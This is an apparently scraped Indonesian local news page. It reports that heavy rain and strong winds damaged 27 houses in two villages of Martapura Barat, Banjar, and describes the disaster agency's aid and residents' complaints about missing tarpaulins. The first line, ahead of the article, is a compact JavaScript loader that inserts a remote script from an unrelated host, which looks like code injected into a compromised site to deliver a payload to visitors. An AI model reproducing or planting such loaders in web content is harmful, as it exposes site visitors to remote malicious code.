(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Sedikitnya 27 rumah rusak diterjang hujan deras yang disertai angin kencang di Desa Antasan Sutun dan Desa Keliling Benteng Ulu, Kecamatan Martapura Barat, Kabupaten Banjar, pada Minggu (29/12) dinihari 01.10 Wita.
Kepala Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar Irwan Kumar mengatakan, jumlah rumah yang rusak baik berat maupun ringan sebanyak 27 unit.
“Tercatat 27 unit rumah terdampak, 10 di Desa Keliling Benteng Ulu dan 17 unit rumah di Desa Antasan Sutun wilayah Kecamatan Martapura Barat,†ujarnya.
Ia mengatakan, pihaknya sudah menurunkan petugas melakukan pendataan pemilik rumah termasuk kategori kerusakan sehingga bisa menyalurkan bantuan Pemkab Banjar terhadap korban musibah itu.
“Data pemilik rumah sudah dicatat petugas dan kami siap salurkan bantuan terutama terpal, selimut dan bantuan logistik lain sehingga bisa meringankan beban korban setelah kejadian,†ucapnya.
Pendataan rumah-rumah yang rusak juga sudah dilakukan dan akan disiapkan bantuan dari Pemkab Banjar yang besarannya disesuaikan dengan kerusakan maupun aturan tentang bantuan sosial.
Kepala Desa Antasan Sutun Samsul Khair mengatakan, angin kencang datang dari arah belakang rumah warga, membuat sejumlah bagian dapur rumah warga yang mengalami kerusakan. Namun, tidak ada korban jiwa akibat musibah angin puting beliung ini.
“Kerusakan rumah warga bervariasi, mulai kerusakan sedang dan berat. Rata-rata kerusakan ada di bagian dapur, karena angin meniup berasal dari belakang rumah,†ujarnya.
Selian itu menurut salah satu warga, saat itu dirinya sedang terlelap dan seketika terbangun ketika mendengar bunyi ‘krak’ dari bagian belakang rumah.
“Lagi tidur, tiba-tiba bunyi keras dari bagian belakang rumah. Setelah dilihat, ternyata atap dapur sudah tidak ada,†katanya.
Sementara itu, BPBD Kabupaten Banjar baru menyuplai berupa makanan instan. “Terpal untuk atap sementara katanya kosong,†ujarnya. Warga sangat berharap terpal untuk menutup atap rumah mereka yang rusak diterjang angin, apalagi kondisi sering turun hujan seperti saat ini. (rendy)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.